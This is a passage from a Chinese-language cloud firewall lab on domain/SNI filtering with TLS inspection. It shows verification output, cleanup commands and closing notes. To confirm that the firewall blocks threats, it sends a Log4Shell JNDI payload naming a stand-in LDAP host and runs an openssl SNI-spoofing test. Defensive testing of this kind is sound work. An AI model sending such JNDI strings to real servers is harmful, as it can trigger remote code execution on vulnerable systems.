验证包含 TLS 检查的规则

通过 IAP 启动与虚拟机的 SSH 连接:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

将示例请求发送到允许的目标位置:

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

这些测试应该能顺利通过。如果我们想查看证书并确认证书是否由 NGFW 签名,可以运行以下命令:

curl https://ifconfig.me --max-time 2 -vv

预期输出:

admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv
*   Trying 34.160.111.145:443...
* Connected to ifconfig.me (34.160.111.145) port 443 (#0)
* ALPN: offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=ifconfig.me
*  start date: Sep 20 07:05:42 2025 GMT
*  expire date: Sep 21 06:58:10 2025 GMT
*  subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691
*  SSL certificate verify ok.
* using HTTP/1.x
> GET / HTTP/1.1
> Host: ifconfig.me
> User-Agent: curl/7.88.1
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Length: 10
< access-control-allow-origin: *
< content-type: text/plain
< date: Sat, 20 Sep 2025 07:05:43 GMT
< via: 1.1 google
< Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
< 
* Connection #0 to host ifconfig.me left intact
x.x.x.x

在上面的输出中,我们可以看到,由于收到的证书是由我们之前创建的根 CA 签名的,因此 NGFW Enterprise 正在对请求进行 TLS 检查。(发行方字段)

验证尝试通过 TLS 检查来欺骗 SNI 的规则

现在,我们来验证一下启用 TLS 检查后的行为。

运行以下 openssl 命令来欺骗 SNI:

openssl s_client -connect www.google.com:443 -servername ifconfig.me

预期输出:

CONNECTED(00000003)
write:errno=104
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 0 bytes and written 317 bytes
Verification: OK
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

在上述输出中,我们可以看到,之前正常运行的 SNI 欺骗请求在启用 TLS 检查后现在失败了。这是因为启用 TLS 检查后,NGFW 会将 SNI 与服务器证书的正文备用名称 (SAN) 进行比较。如果不匹配,则 TLS 握手将失败。

验证网域/SNI 和威胁防御(通过 TLS 检查)

现在,我们将重新运行之前针对恶意 (log4j) 请求对允许的网域进行的测试。

将恶意 (log4j) 样本发送到允许的网域/SNI 目标:

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

预期输出:

000

出现此 000 响应代码是因为 NGFW 检测到威胁,因此终止了连接。我们可以收集更详细的输出以进行确认。

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv

预期输出:

*   Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=www.eicar.org
*  start date: Sep 20 07:50:20 2025 GMT
*  expire date: Sep 21 10:41:22 2025 GMT
*  subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
*  SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
> 
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000

从上面的输出结果中可以看出,NGFW 执行了 TLS 检查并阻止了恶意请求。

退出虚拟机:

exit

请前往下一部分,了解清理步骤。

19. 清理步骤

基本设置清理

移除实例:

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

移除云防火墙网络政策和关联:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

删除 Cloud Router 和 Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

删除预留的 IP 地址:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG 和关联清理

按以下顺序删除安全配置文件组以及威胁和网址过滤配置文件:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles url-filtering \
  delete $prefix-sp \
  --organization $org_id \
  --location=global

删除 Cloud 防火墙端点关联:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

删除 Cloud 防火墙端点,这可能需要大约 20 分钟

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

(可选)运行以下命令,确认 Cloud NGFW 端点已删除:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

端点的状态应显示:

STATE: DELETING

完成后,该端点将不再显示在列表中。

[可选] TLS 清理

如果您继续执行了可选的 TLS 检查配置,请运行以下命令来清理 TLS 资源。

删除 TLS 政策:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

停用并删除根 CA 和 CA 池:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

子网和 VPC 清理

最后,删除子网和 VPC 网络:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

20. 结论和注意事项

此实验非常简单,仅测试单个虚拟机访问互联网的情况。在实际应用场景中,VPC 可能包含多个资源,流量会向各个方向(南北和东西)流动。由于网域/SNI 过滤的防火墙规则是出站 0.0.0.0/0,因此它是一个“捕获所有”规则,必须配置为网络政策中优先级最低的规则,否则流量会意外匹配,并根据默认的 urlFiltering 规则允许/拒绝。

此外,您还可以考虑使用网络类型来限制范围。这是为了防止 E/W 流量与该规则匹配。或者,为东/西向流量创建优先级更高的允许规则。

请查看详细介绍网域/SNI 过滤的最佳实践文档。

21. 恭喜!

恭喜,您已成功完成“Cloud NGFW Enterprise for Domain and SNI filtering w/ optional TLS inspection”实验!